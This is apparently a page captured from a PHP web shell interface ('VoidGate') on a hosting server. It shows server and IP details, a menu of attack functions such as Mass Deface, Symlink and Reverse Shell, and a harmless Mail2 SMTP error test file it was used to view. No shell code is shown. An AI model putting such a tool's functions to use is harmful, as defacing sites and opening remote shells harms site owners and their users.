ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
tests
/
Mail2
/
tests
/
Viewing: smtp_error.phpt
--TEST-- Mail2: SMTP Error Reporting --FILE-- <?php require_once 'Mail2.php'; /* Reference a bogus SMTP server address to guarantee a connection failure. */ $params = array('host' => 'bogus.host.tld'); /* Create our SMTP-based mailer object. */ $mailer = Mail2::factory('smtp', $params); /* Attempt to send an empty message in order to trigger an error. */ try { $mailer->send(array(), array(), ''); } catch (Exception $e) { $err = $e->getMessage(); if (preg_match('/Name or service not known/i', $err)) { echo "OK"; } else { print_r($e); } } --EXPECT-- OK
Coded With 💗 by
0x6ick